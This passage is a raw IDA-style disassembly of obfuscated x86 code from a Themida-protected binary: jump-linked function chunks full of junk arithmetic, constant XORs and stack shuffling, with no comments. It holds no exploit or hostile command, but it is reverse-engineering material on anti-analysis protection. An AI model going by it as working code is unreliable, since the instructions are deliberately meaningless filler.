		push	ax
		pushf
		jmp	loc_597021
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D1E5:				; CODE XREF: sub_58E66C+5AEBj
					; Themida_:loc_595F8Aj
		push	[esp+2+var_4+2]
		pop	edi
		jmp	loc_597448
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58D1EE:				; CODE XREF: Themida_:0058FEC1j
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_58A72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590324


loc_58D1F7:				; CODE XREF: sub_590324-28A7j
		mov	ebx, [esp+8+var_8]
		jmp	loc_58F757
; END OF FUNCTION CHUNK	FOR sub_590324
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_58D1FF:				; CODE XREF: sub_59425A-6DFCj
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_590AA1
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58D208:				; CODE XREF: sub_594F3F-6F0Ej
		and	eax, 183C027Bh
		jns	loc_5966B8
		sub	eax, 820004Bh
		push	21ADh
		mov	ebp, esi


loc_58D21F:				; CODE XREF: Themida_:0058ADC5j
		sub	eax, 5D8C7B47h
		pop	ebx
		jmp	loc_596F64
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58D22A:				; CODE XREF: sub_591C99-8B2j
		add	esp, 4
		add	eax, 4
		push	esi
		push	987h
		jmp	loc_58F53B
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58D240:				; CODE XREF: Themida_:00590E44j
		xor	al, bl
		pop	ebx
		sub	al, 0Eh
		and	dl, al
		pop	eax
		xor	dl, 0D6h
		jmp	loc_597434

; =============== S U B	R O U T	I N E =======================================



sub_58D250	proc near		; CODE XREF: sub_596082-4832j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AA28 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058BE33 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C416 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D349 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005918EE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005938D6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595C3E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596DBB SIZE 00000017 BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		jmp	loc_58D349
sub_58D250	endp

; ---------------------------------------------------------------------------


loc_58D27E:				; CODE XREF: Themida_:00592400j
		xor	eax, 83CED5F1h
		add	ecx, eax
		pop	eax
		add	ecx, 204F739Ah
		add	ecx, esi
		sub	ecx, 204F739Ah
		sub	ecx, 52393E4Eh
		jmp	loc_58B74C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58D29F:				; CODE XREF: sub_5F45E7-62713j
		mov	esp, [esp+28h+var_28]
		mul	cx
		jmp	loc_58B3B6
; END OF FUNCTION CHUNK	FOR sub_5F45E7

; =============== S U B	R O U T	I N E =======================================



sub_58D2AA	proc near		; CODE XREF: sub_58E049-8Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A9E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AFE8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058CCAE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E8A7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005901FA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590FC6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591F63 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00591F95 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005952F5 SIZE 00000009 BYTES

		push	ebx
		xor	[esp+8+var_8], 161F3A0Ah
		pop	ebp
		jmp	loc_58A9E4
sub_58D2AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58D2B8:				; CODE XREF: sub_591C99-D39j
		mov	esp, [esp+0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		jmp	loc_58E82D
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_58D2CA:				; CODE XREF: sub_58FB68+2651j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_595DB3
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------


loc_58D2DE:				; CODE XREF: Themida_:0058BA5Aj
		mov	esp, [esp]
		push	ebx
		push	7BF4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_58F2C1
; ---------------------------------------------------------------------------


loc_58D300:				; CODE XREF: Themida_:00593E29j
					; Themida_:00596EF0j
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_58ECA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D313:				; CODE XREF: sub_58E66C+A9Fj
		add	esp, 4
		jmp	loc_5922FC
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_58D31E:				; CODE XREF: sub_58FB68+8F7j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------


loc_58D323:				; CODE XREF: Themida_:00593766j
		or	eax, 532927EFh
		add	eax, 79380834h
		sub	eax, 2F9913ECh
		jmp	loc_591FC3
; ---------------------------------------------------------------------------


loc_58D337:				; CODE XREF: Themida_:0058A827j
		add	esp, 4
		jmp	loc_58E9D7
; ---------------------------------------------------------------------------


loc_58D342:				; CODE XREF: Themida_:005914CFj
		neg	ecx
		jmp	loc_59003B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_58D349:				; CODE XREF: sub_58D250+29j
		xor	ebx, [esp+4+var_4]
		jmp	loc_58C416
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D351:				; CODE XREF: sub_596082-8FFFj
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		mov	eax, [esp+0]
		push	5E8h
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	edx
		jmp	loc_58FCD6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EE27


loc_58D36D:				; CODE XREF: sub_58EE27+Dj
		mov	bh, ch
		mov	al, bh
		pop	ebx
		pop	ecx
		push	edx
		push	ebx
		mov	bh, 47h
		jmp	sub_592A4E
; END OF FUNCTION CHUNK	FOR sub_58EE27
; ---------------------------------------------------------------------------


loc_58D37C:				; CODE XREF: Themida_:00592497j
		xor	esi, 7A29D981h
		add	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 4EBE2688h
		xor	ebp, 6F236358h
		jmp	loc_5924C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D133


loc_58D396:				; CODE XREF: sub_58D133+435Dj
		xchg	ebx, [esp+4+var_4]
		pop	esp
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_596F3D
; END OF FUNCTION CHUNK	FOR sub_58D133
; ---------------------------------------------------------------------------


loc_58D3A3:				; CODE XREF: Themida_:00592DFEj
		push	edi
		jmp	loc_591A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58D3A9:				; CODE XREF: sub_593009-6EC9j
		pop	ebp
		push	eax
		jmp	loc_58B20D
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58D3B0:				; CODE XREF: Themida_:0058AAC8j
		pop	edx
		jmp	loc_58E41A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58D3B6:				; CODE XREF: sub_593009+2342j
		add	eax, 4
		xor	eax, [esp-24h+arg_20]
		xor	[esp-24h+arg_20], eax
		xor	eax, [esp-24h+arg_20]
		pop	esp
		jmp	sub_592E65
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58D3CA:				; CODE XREF: Themida_:00590907j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_58C33E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D3E3:				; CODE XREF: sub_596082-5C75j
		xor	ecx, 5385ED0h
		js	loc_58C99E
		push	11C4h
		jmp	loc_58E864
; ---------------------------------------------------------------------------


loc_58D3F9:				; CODE XREF: sub_596082-35FAj
		push	4860h
		mov	[esp+10h+var_10], ecx
		push	[esp+10h+var_C]
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		push	5C2Ch
		mov	[esp+10h+var_10], ecx
		push	edx
		mov	edx, esp
		jmp	loc_58A612
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	2718h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	2C45h
		jmp	loc_58B1E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D447:				; CODE XREF: sub_58E66C+468Cj
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		jmp	loc_591C87
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_58D455:				; CODE XREF: sub_59425A+130Fj
		add	esi, 4
		add	esi, 4
		jmp	loc_58D1FF
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_58D463:				; CODE XREF: sub_593983+Fj
		pop	esp
		add	ebp, edi
		jmp	loc_593DD1
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D46B:				; CODE XREF: sub_596082-B221j
		pop	eax
		sub	esi, 4
		jmp	loc_5961FD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D474:				; CODE XREF: Themida_:loc_5933EFj
		shl	ebp, 8
		jp	loc_58EBDD
		xor	ebp, 449250DCh
		jb	loc_590832
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58D489:				; CODE XREF: sub_58E91C-43EFj
		and	eax, esi
		pop	esi
		jmp	loc_5919E7
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_58D491:				; CODE XREF: Themida_:0059681Cj
		pop	eax
		push	edi
		mov	edi, esp
		push	0E5h
		mov	[esp], ebx
		mov	ebx, 62333C89h
		dec	ebx
		add	ebx, 53602299h
		push	ebx
		not	dword ptr [esp]
		jmp	loc_58AB5E
; ---------------------------------------------------------------------------


loc_58D4B2:				; CODE XREF: Themida_:005947B9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_58A97B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_58D4C3:				; CODE XREF: sub_593983-495Ej
		or	edx, eax
		jmp	loc_595174
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------


loc_58D4CA:				; CODE XREF: Themida_:00593E46j
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_594C91
; ---------------------------------------------------------------------------


loc_58D4D6:				; CODE XREF: Themida_:00595DAEj
		push	ebp
		mov	ebp, 39347022h
		jmp	loc_595779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58D4E1:				; CODE XREF: sub_591C99+3704j
		jnz	loc_5972B5
		jmp	loc_58ECF2
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_58F160
; ---------------------------------------------------------------------------
		pop	edx
		push	ebx
		mov	ah, al
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58D4F6:				; CODE XREF: sub_593009-7CBFj
		push	esi
		jmp	loc_5906D3
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58D4FC:				; CODE XREF: sub_591C99-111j
		pop	esp
		mov	[esp+0], dx
		push	ecx
		jmp	loc_58E799
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58D507:				; CODE XREF: Themida_:0058D7E9j
					; Themida_:00593259j
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_58CB54
; ---------------------------------------------------------------------------


loc_58D513:				; CODE XREF: Themida_:0058D51Bj
		mov	edi, esp
		jmp	loc_58A517
; ---------------------------------------------------------------------------


loc_58D51A:				; CODE XREF: Themida_:0058ACA3j
		push	edi
		jmp	loc_58D513
; ---------------------------------------------------------------------------


loc_58D520:				; CODE XREF: Themida_:0059715Dj
		xor	[esp], ecx
		jmp	loc_58C3B8
; ---------------------------------------------------------------------------


loc_58D528:				; CODE XREF: Themida_:005948E2j
		add	eax, ebx
		jmp	loc_58FF2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D52F:				; CODE XREF: sub_596082+1291j
		sub	ebx, 6F87ABBh
		sub	ebp, 2C96EC5h
		add	ebp, ebx
		jmp	loc_590AC3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D542:				; CODE XREF: Themida_:0058B1B4j
		pop	dword ptr [esp]
		jmp	loc_59333B
; ---------------------------------------------------------------------------


loc_58D54A:				; CODE XREF: Themida_:005971C7j
		pop	ecx
		jmp	loc_596122
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58ACC5
; ---------------------------------------------------------------------------


loc_58D562:				; CODE XREF: Themida_:00594EC1j
		sub	esp, 4
		mov	[esp], ecx
		push	2AD1h
		mov	[esp], edx
		mov	dh, 8Fh
		add	dh, 26h
		mov	cl, dh
		pop	edx
		xor	dl, cl
		jmp	loc_591ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58D582:				; CODE XREF: sub_591C99-153Aj
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		push	edx
		push	5EA45B6Eh
		mov	edx, [esp+0]
		jmp	loc_594367
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D599:				; CODE XREF: sub_596082-914Cj
		or	cx, 30F9h
		add	cx, 4839h
		mov	bp, cx
		pop	ecx
		sub	bx, 2452h
		sub	bx, bp
		add	bx, 2452h
		mov	bp, word ptr [esp+8+var_8]
		jmp	loc_5961B1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D5BD:				; CODE XREF: Themida_:0058B736j
		inc	ebx
		sub	ebx, 14C0E4Ch
		sub	eax, ebx
		jmp	loc_58C50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D5CB:				; CODE XREF: sub_58E66C+5839j
		shr	eax, 7
		jnz	loc_58C824
		sub	eax, 9BB3CB5Bh
		and	eax, 2F794F6Ch
		mov	ebx, ebx
		pop	edi


loc_58D5E1:				; CODE XREF: Themida_:0058F1DFj
		mov	cx, word ptr [esp+0Ah+var_C+2]
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edi
		push	esp
		push	[esp+12h+var_14+2]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_58BEDA
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58D607:				; CODE XREF: Themida_:00590F58j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_58B976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5902CA


loc_58D616:				; CODE XREF: sub_5902CA-5CD8j
		add	eax, 4
		push	4C37h
		mov	[esp+4+var_4], ebp
		push	2
		pop	ebp
		jmp	sub_58C36D
; END OF FUNCTION CHUNK	FOR sub_5902CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D62E:				; CODE XREF: Themida_:0059189Aj
					; sub_58E66C+5842j
		pop	esi
		and	ebx, ebp
		jmp	loc_58CD9C
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58D636:				; CODE XREF: Themida_:00591CB3j
		sub	edx, 0DE28BD9Eh
		and	ebx, edx
		pop	edx
		add	ebx, 47BE3D8Eh
		jmp	loc_596DE1
; ---------------------------------------------------------------------------


loc_58D64A:				; CODE XREF: Themida_:0058D0ADj
		xor	eax, 318B5294h
		mov	ebp, eax
		jmp	loc_592C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_58D656:				; CODE XREF: sub_596B50-1301j
		mov	ebp, 4
		add	edx, 2CE63C89h
		jmp	loc_58B99E
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D666:				; CODE XREF: sub_596082-3AA8j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_58F140
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D689:				; CODE XREF: Themida_:0058C867j
		mov	[esp], ebx
		push	3A46h
		jmp	loc_5969EE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		jmp	loc_58DFFC

; =============== S U B	R O U T	I N E =======================================



sub_58D6A0	proc near		; CODE XREF: sub_594A7F-9AAEj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B65A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058BB4E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058BCB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058C6FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D0D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E217 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E8E1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00590780 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590BFC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005910A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591A60 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005937E6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594117 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059639E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596878 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596D47 SIZE 00000029 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	edi
		mov	edi, 4E7A4783h
		dec	edi
		jz	loc_58D0D8
		shr	edi, 4
		xor	edi, 5A4F90B1h
		mov	ecx, edi
		pop	edi
		jmp	loc_59639E
sub_58D6A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58D6C4:				; CODE XREF: sub_58F160-3EB8j
		xor	dh, 1Bh
		jo	loc_593D22
		jmp	loc_58B2EB
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58D6D2:				; CODE XREF: Themida_:00596853j
		mov	ecx, 4
		jmp	loc_58FCAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_58D6DC:				; CODE XREF: sub_58A5F7+Ej
		sub	edx, ebx
		pop	ebx
		jmp	loc_591050
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------


loc_58D6E4:				; CODE XREF: Themida_:00596E49j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	4C2h
		mov	[esp], edx
		mov	edx, 73DD7A93h
		neg	edx
		push	ebx
		mov	ebx, 67B340E3h
		jmp	loc_5976D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58D716:				; CODE XREF: sub_58F160+66F8j
		sub	ebx, eax
		jmp	loc_58F7A5
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58D71D:				; CODE XREF: Themida_:00590B44j
					; Themida_:00592A9Bj
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_58EA70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D728:				; CODE XREF: sub_58E2BE+F3Fj
					; sub_596082-28E8j
		push	edi
		mov	edi, 0AC401054h
		sub	ecx, 3F5E783Eh
		add	ecx, edi
		jmp	loc_58BF72
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D73B:				; CODE XREF: Themida_:00590E4Dj
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_594962
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D745:				; CODE XREF: sub_596082+FAAj
		jmp	sub_590EF5
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58D74A:				; CODE XREF: Themida_:005916C4j
					; sub_593009+270Bj
		jmp	loc_5925B6
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D74F:				; CODE XREF: sub_596082:loc_58CBA9j
					; sub_5925A4-1CE9j
		sub	al, dh
		sub	al, 85h
		mov	dx, [esp+0]
		add	esp, 2
		jmp	loc_592AD3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D75F:				; CODE XREF: Themida_:00594148j
		add	esp, 4
		add	esi, eax
		add	esi, 6FD15C2h
		push	ebp
		mov	ebp, 0BB80312h
		or	ebp, 1156666Ah
		jmp	loc_58AC31
; ---------------------------------------------------------------------------


loc_58D77E:				; CODE XREF: Themida_:0058EB11j
		sub	esi, 0FCC3E839h
		push	esi
		jmp	loc_593E11
; ---------------------------------------------------------------------------


loc_58D78A:				; CODE XREF: Themida_:0058B45Ej
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 1EE5019Fh
		shl	edi, 3
		jnz	loc_5928CF
		or	edi, 33E15700h
		jg	loc_58C9B8
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D7AE:				; CODE XREF: sub_58E66C-3515j
		add	edx, 0F264F23h
		jnp	loc_596001
		jmp	loc_591B25
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		xor	dh, 0CDh
		dec	dh
		xor	dh, 53h
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D7C7:				; CODE XREF: sub_596082-2990j
		xor	eax, [esp+1Eh+var_20+2]
		jmp	loc_5952C3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D7CF:				; CODE XREF: Themida_:0058EA3Dj
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 5Dh
		jmp	loc_597795
; ---------------------------------------------------------------------------


loc_58D7DF:				; CODE XREF: Themida_:0058BF57j
		add	edx, 83616BDBh
		add	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_58D507
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58D7EE:				; CODE XREF: sub_58F160+3725j
		add	esp, 4
		push	eax
		jmp	loc_59227F
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58D7FA:				; CODE XREF: Themida_:00590F16j
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5924FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58D812:				; CODE XREF: sub_5F45E7-61F7Ej
		sub	edi, eax
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		add	ecx, edi
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_58FC45
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58D82A:				; CODE XREF: Themida_:00595006j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_590A3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_58D83B:				; CODE XREF: sub_58D966+9342j
		xor	ebx, esi
		push	[esp+0Ch+var_C]
		pop	esi
		add	esp, 4
		and	ebx, 64006509h
		jnb	loc_58F5ED
		jmp	loc_594662
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edi
		push	edx
		push	esp
		push	esi


loc_58D85C:				; CODE XREF: Themida_:0058E545j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		imul	cx
		push	small 114Ah
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_58D12E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D87F:				; CODE XREF: sub_596082-64E4j
		pop	ebx
		add	esi, 65F4415Fh
		sub	edx, 4F3E7B56h
		sub	edx, esi
		add	edx, 4F3E7B56h
		push	[esp+1Ah+var_1C+2]
		pop	esi
		add	esp, 4
		xor	eax, edx
		pop	edx
		push	3697h
		mov	[esp+16h+var_18+2], edx
		jmp	loc_593187
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D8AE:				; CODE XREF: sub_58E66C-2753j
		add	eax, edx
		add	eax, 60B16971h
		jmp	loc_596C82
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F4


loc_58D8BA:				; CODE XREF: sub_58F6F4+53DFj
		mov	bl, 64h
		sub	al, bl
		pop	ebx
		sub	bl, al
		jmp	loc_59173C
; END OF FUNCTION CHUNK	FOR sub_58F6F4
; ---------------------------------------------------------------------------


loc_58D8C6:				; CODE XREF: Themida_:00592203j
		jmp	loc_59037F
; ---------------------------------------------------------------------------


loc_58D8CB:				; CODE XREF: Themida_:0058E8DCj
		mov	[esp], edx
		jmp	loc_58A8E3
; ---------------------------------------------------------------------------


loc_58D8D3:				; CODE XREF: Themida_:loc_595AB2j
		sub	eax, 0E353966h
		jbe	loc_595C51
		add	eax, 299208DDh
		jnp	loc_5926F6
		push	ebx
		push	edx
		mov	edx, 5B9E075Fh
		inc	edx
		and	al, 0C0h
		mov	al, ch
		lodsb
		xor	al, bl
		push	ebx
		push	eax
		mov	ah, 0F8h
		xor	ah, 0F0h
		mov	bh, ah
		jmp	loc_58BCBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58D906:				; CODE XREF: sub_58B09E+F6Dj
		push	edi
		jmp	loc_5954CD
; END OF FUNCTION CHUNK	FOR sub_58B09E

; =============== S U B	R O U T	I N E =======================================



sub_58D90C	proc near		; CODE XREF: sub_5F45E7-68C2Bj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B742 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F4EF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FB7B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059073E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591967 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005926A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059347D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596AAD SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	ebx
		jmp	loc_596AAD
